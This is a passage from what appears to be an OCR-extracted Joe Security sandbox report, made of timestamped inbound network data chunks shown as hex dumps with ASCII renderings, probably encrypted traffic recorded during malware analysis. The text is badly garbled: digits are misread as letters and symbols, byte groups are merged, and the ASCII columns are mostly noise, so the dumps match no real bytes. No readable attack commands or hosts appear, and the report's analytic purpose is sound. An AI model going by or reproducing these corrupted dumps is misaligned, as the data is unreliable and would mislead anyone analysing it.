90 ee 53 20 43 79 9b e7 da 53 4b 60 fa d9 e7 b3 6¢ a4 d0 41 5e bb cc d8 83 b3 3¢ 32 ef 50 0d e5 84 90 81 70 d9 ef 36 f8
4d be 69 02 26 23 dd 8b 06 41 69 11 c1 8f 15 8d a0 66 Oe 8d dc db a4 96 05 2e 09 62 81 df 90 44 63 d9 b6 9a b9 44 3f c4
9 18 13 15 37 bb d5 32 0d 80 c1 55 3b cf ec d1 47 88 6¢ ec d8 b9 7e 1f 55 95 43 25 58 1d 36 b7 95 4a 37 5a 4f d5 O cf
39 a7 cf 04 44 dc 5b ab 7a 33 cc 29 8b 6f 03 2a
Data Ascii: *lez=%6".0@yS"h}-R2<|yNs;uzZ5k>znFo*Pg{tS CySK'IA"<2Pp6Mi&#Aif.bDcD?72U;GI~UC%X6J7Z09D[z3)0*

2021-11-29 13:25:46 UTC 132 IN Data Raw: a8 99 cc 4a c7 4b al 75 e8 ff cf a8 99 77 5b a4 01 4b 9e 2a 2f 35 b0 0a 43 90 59 12 8c cc 7b c5 €9 Oe ac 83 d1
ac 2d 3c cf Ob 11 6¢ f6 eb 4c 49 a3 64 5b cf 60 be ac de eb 3f 98 62 54 37 62 12 cb 46 a5 03 9b 10 6¢ c1 Oc 7e 77 7f 3e
2a db 87 63 5f 7e ¢1 78 4b ¢7 c0 cd 09 62 a3 b5 d0 Oa Of ¢5 d7 al e7 Oc 37 c3 2e af b3 78 f5 27 98 Oe dc bd f1 19 1a bb 21
€9 f9 3a cd 05 37 90 39 a4 aa 09 75 e6 de 33 95 89 47 d0 dd 0d 2f bf ec b6 08 9a fa ed 12 95 48 6a 6¢ aa a2 21 53 c6 89
5d 4d a6 35 ec cc fe 31 03 8f 35 5b f0 a9 01 4b 4a 72 b1 61 8c eb f0 96 fa €9 2d 8d 21 43 Of fb dd 46 3d 40 88 a8 34 79 69
28 2b f2 de 74 23 f2 d3 bd a9 44 dc 3c ee d8 43 d1 72 50 a9 a5 el 65 5f d6 fb 2d 3e 57 04 c2 57 cb 47 23 2f 79 24 3d 39
ac 48 e4 48 79 e2 81 a3 8b 60 43 b7 b0 18 7c ab
Data Ascii: JKUW[K*/5CY{-<ILId[ ?bT7bFl~w>*c_~xKb7.x':79u3G/Hjl!S|M515[KJra-ICF=@4yi(+t#D<CrPe_->WW
G#ly$=9HHy C|

2021-11-29 13:25:46 UTC 134 IN Data Raw: 35 03 8d d2 8b 6e 10 18 Oc 0f 6d b8 78 2e fe ec 07 a2 76 b4 53 ad 40 74 76 0d 72 5d b0 fc db 4c 68 68 cf cbh e7
b5 58 0a 83 da 5f bd e2 7e 2c 2a 3d 32 71 55 3c f6 a2 b0 ca 55 4 fd 30 fd 5a bf 69 1d 23 2b e0 89 06 58 62 bf 92 14 14 8b
8e c0 a2 14 dd db 3a 93 35 3d 2f 42 c9 fa bd 56 65 b3 a0 9b b9 5b 39 ad c4 1a 13 Oc 14 15 86 a9 Oc 86 ef f3 96 56 ed d1
d9 8d 5f ff fe 99 37 3a 78 87 45 75 4d 1c 36 a8 92 28 0a 58 4f cc c9 61 6a 3c ce 02 6a 7e f1 32 7b 33 52 2c b9 7¢ 25 Oa
2117029318 fbcd d1 5 a5 e3 42 b9 d1 cO c9 9f cc e4 63 e5 82 61 11 75 5a d2 76 26 3a 07 cf 21 ef fc 29 dO Oa f3 ec 4e
8d 9554 93 a3 11 f5 3e 86 9b 94 75 19 37 6e 22 94 c7 a2 3a b9 69 Oe 81 20 90 33 61 78 11 5a be bd c6 33 54 fc 32 bd Oc
6f 90 3a 8d ba 50 03 d6 c7 bc d2 b2 9a f1 67 57
Data Ascii: 5nmx.vS@tvr]LhhX_~*=2qU<UO0Zi#+Xb:5=/BVe[9V_7:xEuM6(XOaj<j~2{3R,|%!BcauZv&:!)NT>u7n":i 3
axZ3T20:PgW

Copyright Joe Security LLC 2021 Page 26 of 37



kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 135 IN Data Raw: d2 83 fb 2a 17 98 07 82 b1 58 07 1c 1a 70 5a 98 d9 30 38 4c 27 c3 7f de 71 29 26 b2 39 11 ab 09 75 5c €8 10
87 af 7d ba f1 Of 2f 99 de 26 76 03 e4 fe 3e 98 b2 6a 6a 80 be 7a e7 d6 af 79 95 e5 34 ec ec 73 1a 2e 9d Oa 53 9e aa 01
4d 40 db dd f8 8d f4 d0 9e 2e eb 2d 8b 91 e0 5¢ 73 fa 66 c0 60 cc a9 14 63 fd 0d 06 fd dO 79 65 f3 d5 97 Ob 75 57 3d ee c3
7c 03 5f 52 a9 39 ee ce 30 69 da d7 3a 77 41 e3 76 c5 dd 06 1f 43 2f 1f 7c ab 62 62 16 8e f1 81 a7 b4 bf 6b 9a b2 82 5f ac
3b 90 ab d2 34 03 da 45 ae 51 36 ea f4 22 Oc 64 fc 6a 70 13 c1 36 e0 5f 07 be 93 ba 6f f5 da 8b 31 1a 53 2d bf 01 af 2d 64
67 a0 7c 42 b0 c2 d2 12 d1 28 6d ed f1 5a 4e c4 7aeb ef 7d al 13 19 1e 77 69 2b 04 72 2d 93 9d 32 e6 7 36 99 54 c4 c4
ac ad 9d 0d bc 68 22 ¢7 73 02 7d b9 16 5d b5 6f
Data Ascii: *XpZ08L'q)&9u\}/&v>jjzy4s.SM@.-\sf cyeuW=|_R90i:wAvC/|bbk_;4EQ6"djp6_01S--dg|B(mZNz}wi+r-26Th"s}|o

2021-11-29 13:25:46 UTC 136 IN Data Raw: 9a bf 71 9b 92 4d 1b 13 17 3d 55 aa ab Oc 1a e0 58 f9 e9 cc b9 dc ad 41 de 8b 8c ad 1f 4b bd 4e 57 53 1b 1c
2acc fb 1b 58 4b f3 b3 48 47 3e 54 21 6d ed a9 8b 13 32 56 Oc 86 00 30 Oa bb 2c 07 af 3c db d4 fa 77 db 5a 1e a9 d5 e0
b8 b6 el e6 f9 c6 85 f6 49 cc 31 d3 72 06 3a 83 da 21 75 c3 2c ef 2e d3 ca 65 Of eb ed fO b3 15 d5 4a 88 b3 b9 ed 3c 1c
5586 ca 35 a2 3a bd 69 a6 95 20 90 b3 6¢ 78 02 7c 98 b6 45 4d cd dd 43 a9 2c 03 8f 12 a0 22 75 28 ed 67 €2 27 b2 9a f5
67 f8 ee 3b cc f1 1f ca 1d c2 Ob 82 b6 55 fe c3 ea 61 9b 94 02 6d 32 c2 4a 4a 11 5b ab aa d3 d8 eb fa 68 6b 17 2b 55 d5
3eal 1c 86 df e3 9d 6f a5 73 18 d5 8c 70 e8 4e 9b cc 6e 28 Of 4c ef 7e cc 5d 10 d2 68 75 17 ff a2 ee fa 84 4b 80 d9 45 27
828bc3d7 cdaffh 78 e3a37074 1269 7c bc 01 ee
Data Ascii: gM=UXAKNWS*XKHG>T!m2V0,<wZI1r:!u,.eJ<U5:i IX|EMC,"u(g'g;Uam2JJ[hk+U>0spNn(L~]huKE'xpti|

2021-11-29 13:25:46 UTC 138 IN Data Raw: 21 bf 14 63 78 21 03 c2 f4 59 27 d8 53 €9 b2 3b 45 39 ce 53 62 2b 72 ca 8c 12 d6 6e 6e 7f da d7 3e 77 b6 f5 76
c5 58 30 1a 7c Ob 3f 3f 80 e4 1c af el e3 85 87 3b 9a 43 b7 2a a7 74 94 9b ce a2 d2 34 07 da c6 b8 51 36 6f d8 27 33 40
dc 2a 5b 95 bf 8f 73 4d 03 9e 1d 98 47 d8 42 ae 1a 22 f3 73 b7 01 af 29 64 ee b6 7c 42 35 €9 d7 2d f5 08 2c c6 77 24 f7
70 68 ef cf f0 84 3b 34 86 52 42 13 a4 2c 26 93 9d 36 €6 63 20 99 54 41 ed a9 92 b9 2d f2 43 a0 b9 ca da 6f bd 36 d1 bb
47 86 86 cc 92 a4 8¢ 57 1a c5 45 dc f8 4e 35 03 ¢7 85 c5 81 81 93 ce 46 18 bb b4 87 65 c6 08 01 3b b2 ca c0 d5 98 9¢ 30
fa Ob 2e ce 36 €9 c1 cc ef bb a9 2c a8 74 1e bl 1b 8b 3a 0a b6 53 64 48 72 da 97 3f 15 57 d1 fe 1a a6 c9 33 1d fb a0 96
7b 2e 5e d7 80 dc 84 20 96 bc 1a 87 a6 54 95 d8 15 33
Data Ascii: lcx!Y'S;E9Sb+rnn>wvX0|??;C*t4Q60'3@*[sMGB"s)d|B5-,w$ph;4RB,&6c TA-Co6GWENS5Fe;0.6,t:SdHr?W3{.»
T3

2021-11-29 13:25:46 UTC 139 IN Data Raw: ¢3 2c d3 ec 18 94 95 74 ed 9b 3c f7 21 8f 99 3b 09 80 30 44 a4 ca e8 a2 3a bd d3 0a ad 31 b6 89 f2 54 00 7c
be c1 de 33 54 c1 6b 80 Oe 6f 88 38 22 c6 c9 04 fc 45 e2 fc b2 9a f5 dd 50 d6 2a ea ca 80 e6 1f c2 2d cc 29 2b 67 d5 c2 48
b9 f9 05 47 b0 26 6 66 03 79 ab 7f d3 d8 eb 40 df 53 06 0d 6a 66 17 8¢ 1e a6 bc dO 1b 11 20 5a 35 d3 ac 18 c3 cc e5 cf
420519 4a 76 11 cd 5d 8a d7 d8 71 31 df 04 e3 d2 a9 69 eb c6 6f al el 3a ef d5 c9 89 be fb 9d 3a eb 51 3b 5b €0 9d 6e
ef 04 03 4d 80 9f 3d el df 16 44 b6 1b 31 bc 87 6d 36 be a4 99 ca 77 6d 18 3a 74 ee d1 6d 6d 01 76 5b 3a 04 92 8f Oc Of
14 94 27 52 96 01 ff 8¢ cc 66 cd c0 02 ac 85 e6 02 7e a7 ce 0d 3f ce 34 73 4d 49 3d 61 83 dd 46 9e 8a fa c6 2e 9e 3d b8
37 62 0d 3 65 86 01 9b Oc 6e 6e 70 €7 70 55 b8 74 ff
Data Ascii: ,t<!;0D:1T|3Tko8"EP*-)+gHG&fy@Sjf Z5JJv]qlio::Q;[nM=D1m6éwm:tmmv[:'Rf~?4sMl=aF.=7bennppUt

2021-11-29 13:25:46 UTC 140 IN Data Raw: 26 00 8f Oe 5f 20 al 6b 6a 07 e5 ff 06 dd 8a 54 75 f0 5a 6a 51 b5 ea ef 62 1f 1e 19 0d 51 4f dc 83 Oc b4 b2 b5
2d c6 bf 2f b1 79 5¢ e1 87 95 3d 53 6d 68 22 c3 73 05 6e b9 16 d8 9f 6a 94 3a c9 61 b4 aa 77 a9 ee 5e dc d8 b9 29 2b ea
9e ed aa a9 15 b6 5 9b ¢5 29 a6 ba c3 28 95 a0 97 e7 48 d6 95 52 17 da 9f Of fb 2d c9 2a c4 ff 93 9f 06 85 70 34 31 4f 90
4593 b3 73 80 69 e7 db 0d 1a a2 60 da cf dc 87 5¢c 32 3d be 9b 66 6¢ 31 7d e2 85 f3 86 26 ba 14 e6 60 3e 55 91 fc d4 a4
35 ed b4 5¢ c1 b8 25 1e 53 ae 21 9a c0 d2 75 bb ac ee 15 3e 8f d2 92 54 ba 4b 97 Oe 6b 96 da b2 66 ed 07 3c 73 82 43
8b 60 0c 52 20 63 5b b fc da 4c 75 60 fa d9 e7 b3 6¢c a4 dO 41 5e bb cc d8 bl b2 3c 32 ef 50 0d e5 84 90 b3 71 d9 ef 36 af
5d be 69 02 16 23 dd 8b 06 41 69 11 c1 8f 15 8d a0
Data Ascii: & _kjTuZjQbQO-/y\=Smh"snj:aw”)+)(HR-*p410Esi \2=fl1}& >U5\%S!u>TKkf<sC'R c[Lu’|A"<2Pq6]i#Ai

2021-11-29 13:25:46 UTC 141 IN Data Raw: 4a de 36 56 02 86 d9 d5 33 3c 3e 72 1e fb 2a 60 70 4f 9b 52 6b 01 1f 6a cf 8a €8 70 02 d4 d5 64 15 ff bd c2 32
b5 49 80 c0 64 89 d1 10 c2 d1 e3 0d ea e0 e2 a3 ee 71 3a 79 5a 9c f4 ca b3 37 46 b1 bc 1f 5b de 36 af 8a 69 28 a7 af 5¢
1c 93 a0 b3 4a 23 76 67 a3 71 ce d3 4fd6 00 ec 7e 8d 33 99 be 2¢ 2d af 95 07 a2 aa 79 e6 93 c0 53 c8 ef 00 aa a9 4a fa
99 3f cf 09 1b e9 8a 72 4d d3 82 69 bc €9 40 b9 34 fb c6 Oe 42 5e al 37 7d 04 ¢3 60 a9 03 9d 20 c6 92 97 7f 71 51 9c 5¢
4086 63 c1 7b 1a 69 6d e7 52 ea 24 73 a5 87 3b 0a Of db df 83 eb Oc 31 f3 80 fc 28 79 f3 09 3a 79 47 bc f1 87 1f 61 33 cf
d9 a9 ea 28 26 96 03 4e aa 09 6a cd e5 10 97 89 5b d2 76 71 b6 b8 c6 30 56 09 9 ed 16 2f 95 47 7e 8¢ 18 Oe 7c d7 af 5d
90 bb 35 ec f3 €5 17 2e 8d 2c 75 7 2d 7f d4 61 fO
Data Ascii: J6V3<>r*pORKkjpd2lda:yZ7F[6i(\J#vgqO~3,-ySI?rMi@4B"7}" qQ\@c{imR$s;1(y:yGa3(&Nj[vq0V/G~|]5.,u-a

2021-11-29 13:25:46 UTC 143 IN Data Raw: 2f a8 3b c8 b9 0f e4 34 c9 2a fb 0f a4 b2 04 9a 2e 36 9a 33 09 42 b9 31 2d f9 69 e7 df b7 14 8d 72 fc 75 19 ab
4e 14 3d d0 82 66 6¢ Oe 66 ea a8 f1 99 78 b8 bb 9a f9 39 7f 17 a2 ac a4 35 e9 Oe 55 ee a9 03 a4 97 82 30 bc c0 96 6¢ bb
ac d7 ad 33 8d d2 8f 56 15 37 Oe 09 41 14 84 c9 66 ed 03 86 7b ad 52 ad da cb 7e 32 45 5b bd e5 da 4c 48 dd f7 db e7 aa
4b 0a 83 da 5f bd e2 7e 2c 2a 3d 32 71 55 Oe 5 a2 b0 ca 55 f4 fd 30 fd 68 bc 69 1d 23 a9 d0 89 06 58 4e bf 92 14 14 8b
8e c0 a2 14 dd db 3a 93 07 3e 2f 42 c9 fa bd 56 65 b3 92 98 b9 5b 39 43 f4 1a 13 Oc 10 15 86 a9 Oc 86 ef f3 96 56 ed d1
d9 8d 71 fc fe 99 37 3a 78 87 45 75 63 1f 36 a8 92 de 3a 58 4f cc d7 61 6a 3c ce 02 6a 7a f1 32 7b 33 52 2¢ 97 7f 25 Oa 21
170290 18 fb e3 d2 f5 a5 e3 d6 89 d1 cO cd bc c9
Data Ascii: /;4*.63B1-iruN=flfx95U0I3V7Af{R~2E[LHK_~,*=2qUUOhi#XN:>/BVe[9CVq7:XEuc6:X0aj<jz2{3R,%!

2021-11-29 13:25:46 UTC 144 IN Data Raw: 9e 2e 0f fe 97 27 52 2c 5¢ cb 9e ea 5b b4 ef 00 ac a3 35 a6 00 3e d0 06 13 c3 8a 72 4b 63 21 3a 37 ce 60 ba
16 a9 c4 2e be d8 84 1a 70 34 cb 1f a9 03 9b 2a 40 cf Oe 7e 6e 4f 94 79 40 86 65 71 d8 49 el 4a c7 5e ¢8 77 71 85 95 bc
2f 22 d7 d1 8e ba Oe 37 d9 26 9c 92 78 f3 12 02 58 68 be f1 1b 10 ca 5f 70 f8 a0 ec 08 72 b4 19 53 30 2c 58 d4 eb 1d cl
8b 5d f8 d0 39 Oc b9 c6 2b 62 2b d6 ef 16 b3 9a e8 12 33 39 04 7a f7 fa 7f b5 a6 af c9 c1 f8 19 23 da 2e 73 dd 8b 4b 6e 60
fO d1 d0 a0 €9 f4 b0 29 6f 53 14 ba 66 26 ca ad 64 c4 40 12 8d 39 71 41 08 7d ed f6 59 01 a0 f6 97 2b 25 5d 15 c3 de 63
2d 58 d6 d7 a6 c5 48 4a d0 8c d5 3e 57 9e ¢7 5b d7 61 03 65 53 09 3f 19 c0 41 62 36 ff f3 a9 8a a9 9b 45 9d 36 fc cO 87
bd ea 12 8b 36 07 fa 99 8a 7c 24 56 f1 57 1c 42 dc Oc
Data Ascii: .'R\[5>rKc!:7".p4*@~nOy@eqld*wa/"7&xXh_prS0,X]9+b+39z#.sKn")0Sf&A@9gA}Y +%]c-XHI>W[aeS?A
b6E66|$VWB

2021-11-29 13:25:46 UTC 145 IN Data Raw: 7e 82 50 ad 46 c4 d5 5e fa 7a 90 e3 fa 34 6a 48 d7 41 c2 98 54 04 8e a0 5d bb c8 d8 6e 96 3c 32 6a 54 08 da
a0 b0 56 5a 5f 91 8f dc 46 ba 49 64 01 Ob f0 13 23 6a 51 b1 9f 6f 16 8d a4 66 81 a8 dc db 21 ba 00 11 2d 42 55 f5 16 3a
da 92 bd 9e 99 21 1b ec d4 80 36 3e Of 1b 8b d1 Oe 80 c5 55 8e ea ec d1 c2 8¢ 69 d3 fc 99 ab 35 d3 eb fa 54 53 19 16 d3
b0 62 1a c2 6a fe c8 6f 67 45 cc 04 40 dc 08 8e 7a 33 49 24 8e 50 27 Oa bd 18 ad fc a7 da d2 d4 d5 d9 c1 1f a9 4b e5 ff
a6 c7 c6 1f el a8 e7 4f 43 7e d2 72 11 32 2b cd 21 73 f3 86 bc b5 d2 cc 4b ad e8 76 f1 b3 8b d0 Oc 98 95 99 Oa 1b 31 44
805a 7b a3 3a aa 61 02 82 20 96 83 c2 2b 99 7d 9e 98 e7 4d 56 dc 43 37 29 42 9c 34 80 c6 52 05 fc 61 73 6e b3 9a ea
48 5d d6 39 cc ec 1d 61 61 5b Oc a8 34 Ob 18 c0 ea 65 21 dc
Data Ascii: ~PFAz4jHATIn<2jTVZ_Fld#Qof!-BU:!6>Ui5TShjogE@23I$P'KOC~r2+!sKviDZ{:a +}MVC7)B4RasnH]9aa[4e!

2021-11-29 13:25:46 UTC 146 IN Data Raw: 94 ca 5a ef a3 a5 3b d8 9f 29 e4 b0 b7 b3 da ef bf 92 8a 87 76 1e 2d 14 24 56 b5 97 dd 62 68 e7 fb 35 19 8f 72
e3 fa 14 ab 5e 32 1b d1 02 18 5 2f 5e ce 88 7e 84 20 90 Oc bd d4 2e 73 b5 53 37 a5 35 cd 99 5f ec a9 14 16 9f ad 21 9c
ca 381022 adf739331dd094 7e a2 10 23 1e 4d b2 6a 52 67 ed 27 1le 70 af 52 b5 68 ¢3 51 20 65 51 12 99 43 4d 68 4c
7 4a e5 b5 46 b8 8b f5 4e 9d e8 69 50 b3 3c 12 cf 53 20 f7 b5 98 7d 72 d9 e9 3c 5f 38 27 68 1d 07 2b 62 8b 06 47 d9 b2
92 07 32 ad 36 44 dc 8d fc 60 18 b3 28 24 07 6f 51 df 96 6e c1 ed 24 9b b9 5f 39 7f d6 1a 13 89 38 10 ba 8d 2c 13 c7 75
e8 ef 51 f7 dd ad 56 d6 d3 9b ad 19 7f 17 1d cc 52 1d 32 88 26 60 1a 58 d5 f6 f7 58 61 1e 5a 06 40 fc af 15 5¢c 33 56 14 8e
50 27 Oa bd 18 ad fc a7 da d2 d4 d5 30 c1 1f a9 4b
Data Ascii: Z;)v-$Vbh5r"2/A~ .sS75_18"93~#MjRg'pRhQ eQCMhLJIFNIP<S }r<_8'h+bG26D"($0Qn$_98,uQVR2& XXa
Z@\3VP'OK
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 147 IN Data Raw: 76 a2 21 b9 b4 a8 51 36 94 27 56 96 cc e4 8c cc el c0 c0 11 8a a3 79 86 00 3e ef e9 1c ee 88 6b 65 64 a5 44
a8 e5 e2 c0 af fa c6 2a 9e f4 a3 37 62 88 ce 60 ba 25 bb bc 46 ec Oe 5e 96 72 bc 54 5b ae 4e 59 5e 31 52 cd b9 c3 €9 24
77 a5 22 24 0a Of 5f d2 83 fb 2a 17 6e 04 82 b1 58 19 2a 1a 70 5a b5 d9 30 38 4c 27 c3 7b de 71 29 26 b2 39 eb a8 09 75
5c e8 10 84 af 7d 40 f2 Of 2f 99 35 13 76 03 e5 ¢5 3b b7 b0 6¢ 46 2¢ 46 9d 7f d7 ab 5d Oc a4 35 ec 76 cc 12 11 a9 Oc ca df
ab 01 6d 9b d7 cf 8 92 e7 dc 9b 01 €9 2b a7 3d 18 bb eb fb 62 e4 fa 8a a8 14 f9 42 05 39 c9 d6 e3 23 f2 d5 b7 2c 12 45 3d
1 d5 4b 06 70 50 af 15 42 36 d7 f1 db d3 1e ec 06 e2 76 5f 62 Oe 20 77 29 84 3b aa 62 42 26 c8 €3 81 b8 a4 b3 6e b5 b0
84 7300 c3 77 33 d3 30 27 46 01 af 51 ac 55 fc 1d
Data Ascii: vIQ6'Vy>kedD*7b"%FArTINYA1R$W"$_*nX*pZ08L'{q)&9u\}@/5v;IF,F]5vm+=bB9#,E=KpPB6v_b w);bB&n
sw30'FQU

2021-11-29 13:25:46 UTC 148 IN Data Raw: 67 cd 1a 8d 56 af 4d a7 68 ¢3 51 20 65 51 16 99 43 4d 68 4c f7 07 e5 b5 46 b8 8b f5 4d 9d e8 24 50 b3 3c 12
52 5e 20 f7 bd 94 78 5d db ef 10 f7 c0 c0 fO 1c 03 Of dO 54 04 47 43 0d 9a 3b 06 ab 84 9b de 8d dc fb 75 98 28 3c 30 4b
7b 2 92 44 45 b9 3b e4 20 5a 19 €8 f4 c4 11 13 1d a7 8e 86 1le ab e5 ab ea cf ec f1 89 86 41 fe el 92 85 32 57 95 65 7f
d5 63 af a9 b2 66 3a 87 4d d3 da d3 62 13 dc 22 60 23 8d ab 7a 13 09 27 a6 7d 3a 05 93 1f 2d 82 38 f1 54 ae 6¢c a4 c3 1b
8931 c2 d2 b7 7b c3 4e f1 8e c7 8f ee 5b d2 52 68 31 06 cf 3e 79 f1 29 c0 2c d5 e6 c9 f3 Oc 75 f1 b7 31 14 23 89 b3 23 52
34 2362 80 0b 5¢c a3 3a 9d 33 04 80 20 8f 8d 6¢ 78 02 7c 98 b6 45 4d cd dd 43 a9 2c 8d 8c 12 a0 22 75 28 ed 67 e2 a9
bl 9a 5 67 eb d0 3b cc f2 1f ca 1d c2 Ob 82 b2 55 fe c3
Data Ascii: gVMhQ eQCMhLFM$P<R” X]TGC;u(<0K{DE; ZA2Wecf:Mb" #z'}:-8TI1{N[Rh1>y),ul##R4#b\:3 IX|EMC,"u(gg;U

2021-11-29 13:25:46 UTC 150 IN Data Raw: 68 ad d7 3d 38 4f 21 €9 d9 bf c5 28 26 a8 31 7e a8 09 73 ec 4b 43 Oc 88 5d fc dO Oc 2c b9 c6 ae 53 2e €9 cb
36 b6 b3 6a 6¢ 8a 1f 29 7e d7 b0 6¢ 9d 8b 37 ec ea c3 b9 7d 16 2d 73 d9 8b 05 4e 60 fO 55 dd a0 f9 d2 96 07 ea 2d 8d 9b
5e Of ea fb 79 d5 68 a5 aa 14 65 4d ae 55 76 f7 59 25 d2 d0 94 2b 3a df 18 c3 ce 45 Ob 77 53 a9 3f e4 01 63 fO db c8 31 7f
29 e0 76 c3 6d a5 4c c8 08 3f 3d 8a 64 61 36 e0 79 a4 8a b9 bd 63 b1 b3 82 59 a6 e5 ¢3 32 d3 2b 08 d2 2e ad 51 30 5a
537187 43 dc 28 51 14 c2 16 72 d7 22 93 9d bf 67 df db 8b 37 10 b2 7e 26 00 b1 01 69 22 al 7a 68 a8 99 66 01 f7 Oc Oa
e4f2 5a 6e eb 4d c6 fe 44 a5 33 37 1c 77 4f 6e af Oc b4 8e b5 1b c4 bf 31 b3 d2 20 78 80 bf bf 0d fd 6a 22 c7 c9 fe 42 ab
3062 b3 44 86 1c c9 ca 98 aa 77 96 6 6d f1 da a6 24
Data Ascii: h=80!(&1~sKC],S.6jl)~I7}-sN"U-"yheMUVvY%+:EwS?c1l)vmL?=dabycY2+.Q0ZSqC(Qr'g7~&i"zhfZnMD37wOn1
Xj"BObDwWm$

2021-11-29 13:25:46 UTC 151 IN Data Raw: 13 57 b0 4c 6¢ 2e 59 54 6f ca 76 32 12 27 d6 c¢3 1c db c2 c5 88 a0 31 2e e0 99 c4 d7 46 4c c9 db 9b 6b e3 f3
5b 30 34 f4 a2 d6 93 49 d1 92 ab 19 bb 97 28 82 60 63 7f 40 18 64 a6 15 66 70 63 4d al bd 2e ad a9 a4 2c a6 57 85 3f 57
77 6d a0 48 10 cc 54 8f 7f 80 cc 1a cb cb 28 fe b9 09 a9 60 ee d4 8f 32 78 59 3¢ ¢8 90 29 8¢ 53 cf 23 47 de 67 df d8 30 2e
2540 ce c3 fb 47 21 e5 2d c0 60 7c c5 32 81 ec 52 04 ab 50 d2 7e al 99 e0 03 5e e0 2d d1 a9 69 db Oc d2 Of ae 34 3f 63
95 d0 71 9c d7 71 04 33 44 65 5f 2d 52 85 e7 f9 fa 95 bf €3 75 1a 48 34 d3 Ob 9c 76 f5 c0 c¢8 6d 07 Oc 43 c0 1f 77 c4 7d c1
79 9e 9e 86 9d 99 Oc d4 06 8e cf 3b 28 bd 88 15 72 3a 12 3a b7 50 04 bd 2f 69 d7 1a 19 35 6d 77 bb 0f 4c Oc a4 d0 94 b3
6b 9f 14 69 d2 aa 60 40 f5 bl 2d {7 bl 5b b2 d6 4b
Data Ascii: WLI.YTov2'1.FLK[04I( c@dfpcM., W?WwmHT( 2xY<)S#Gg0.%@G!- |2RP~"-i4?cqq3De_-RuH4vmCw}y;(r:
‘PlismwLki’ @-[K

2021-11-29 13:25:46 UTC 152 IN Data Raw: 9¢c 9b e6 a3 7e 5f e0 bf ca fe 27 a2 5a d0 e3 4f 7c 57 b1 c4 87 63 e6 50 ce 91 9e ed a4 b0 8a 05 c4 e4 95 54 47
06 24 3d de la fa df f8 26 dd f5 ae 61 92 7b 44 b1 Ob a8 18 60 3c 98 57 55 Oe b4 4c Oe 19 dO 00 65 59 12 94 d2 e2 2b a4
b9 e6 57 57 ec 73 77 67 db 5e 36 55 c8 00 61 14 b9 93 6d 89 72 59 9c 93 24 15 0a 38 a0 d2 59 a7 6e 0d 02 70 7e Of 82
07 b6 cc a8 2d ce b4 39 88 59 46 a6 b2 bc bb 30 eb 7d 37 c6 70 ff 49 ca 08 5a a9 Oa a3 2a c5 90 92 97 73 aa eb 6¢ f0 e4
93 0e 3b f5 a5 cbh 91 b3 eb fc 57 a2 41 f2 5¢ 8¢ 2b f2 55 f9 71 13 cb 64 2a 1d 87 4c 48 f5 1f e3 59 f3 12 20 7d 64 df 47 a4
c6 68 f1 ee ae 35 5d b2 82 ca 1e 2b 72 d0 7c 97 1e 08 d6 72 a9 c5 f6 56 29 ba 96 d1 ac 33 55 49 72 db 68 15 1e 70 bl de
55 5a a8 20 ec 57 a0 f1 6e 63 af a0 2c 39 ac 0d 79 2f
Data Ascii: ~_'ZO|WcPTG$=&a{D' <WULeY+WWswg"6UamrY$8Ynp~-9YFO0}7pIZ*s;WA\+Uqd*LHY }dGh5]+r|rV)3UIrhpU
Z Wnc,9y/

2021-11-29 13:25:46 UTC 154 IN Data Raw: 4b 41 9f fO 8d fa 4a 01 ae 4e 91 2a aa 85 68 da dc ed 02 08 10 6f d4 de 8b 64 54 9e Oa e6 47 38 89 Ob bb bl
5e 58 al 4a c6 5a bd d0 85 46 3c f2 1e al 8d 50 9d 2e 2 66 ¢5 5d 5f 46 a7 82 0d d1 91 25 57 08 76 40 19 7f 59 ae f5 fd
b5 ba f9 92 28 53 25 4c de 0d de 4f 82 d5 c7 Oe 57 38 79 11 c4 a5 5b b2 13 d4 1a 54 16 58 2c 9c 58 c1 6f 5d c5 82 07 38
de 9c da al d7 6c af f0 5d c6 db 38 f4 e3 e3 eb e8 05 8f ce da 63 59 1c 2e f5 41 fc 0d f0 f4 17 71 dd 99 07 8a db 50 a7 e0
6f 03 b7 cb 44 71 52 4f c0 70 eb 21 a4 3f 52 cd 43 8a b8 97 1a 99 4b 2c 8a c5 4d 79 d0 ec Ob 99 Oe 66 3d c1 1d 1a f5 5d
6e 6d 3b bl 9d 6f fe cc 4f 2a ¢5 99 d9 09 9c 71 5d b0 7c b2 77 48 bb 66 99 23 bd f6 9d 33 d7 3a 90 08 85 8b 3d dd bf b7
€0 29 97 be 6f 95 €9 d6 c9 86 fb 39 b6 4e 8a db 36 6f
Data Ascii: KAIN*hod TG8"XJZF<P.f|_F%Wv@Y(S%LOWS8y[TX,X0]8]8cY.AqPoDgROp!?RCK, Myf=]nm;00*q]|wHf#3:=)o
9N60

2021-11-29 13:25:46 UTC 155 IN Data Raw: 46 6¢ 90 9c 13 2a 34 21 f1 87 2e dd 71 6e 02 2f 33 51 c0 44 f2 d1 cc 67 93 df 5a e9 78 6b cf a4 93 92 12 dc 4d
79 87 33 a7 15 d4 63 28 f9 17 f4 69 93 c1 84 f8 01 e9 b0 73 fb df a8 25 02 8b b5 ee bb 82 ae €9 64 91 c7 3b 98 41 18 3e
98 29 a2 dd 75 d5 b7 9e 13 8e ae 04 f1 1f dc 08 fb c4 9f 9e 34 88 56 32 9f 07 01 77 a6 80 78 Oc 71 8a c7 f3 59 ef 17 87 88
5e e7 c7 b4 81 66 6d 8f ed bb be 2b 3d 7d 13 b1 05 01 66 7a b1 d9 6d 51 cc 2d d0 37 fO ac 35 69 c4 ab 6b 41 ca 66 1c 50
€2 78 41 00 d8 al 48 16 54 ce 96 97 af bb cd 3a 27 f5 d8 4a d5 06 f0 15 87 Oa 9b 30 96 ff bd ac 44 32 00 eb cc 9a 73 09
36 07 d5 b7 32 4e d6 37 14 52 ¢5 22 ec 93 e2 f1 a7 75 07 09 fc 99 54 52 bf 74 e1 13 dd b5 a4 a0 05 79 €8 d9 a9 7d 25 9
e5 1340 al 38 71 3e 49 dc 20 2f 2f 44 2e 4b dd 89
Data Ascii: FI*4!.qn/3QDgZxkMy3c(is%d;A>)udV2wxq Y fm+=HzmQ-75ikAfPXAHT:'J0D2s62N7R"uTRty}%@80g>I //D.K

2021-11-29 13:25:46 UTC 156 IN Data Raw: cO 7c 8d 2b d3 38 2b 63 70 07 ef 53 b9 35 63 84 8a 09 7c 92 c2 8f ba e4 29 fc a9 17 db 8e 3b ff €6 €3 ca 87 27
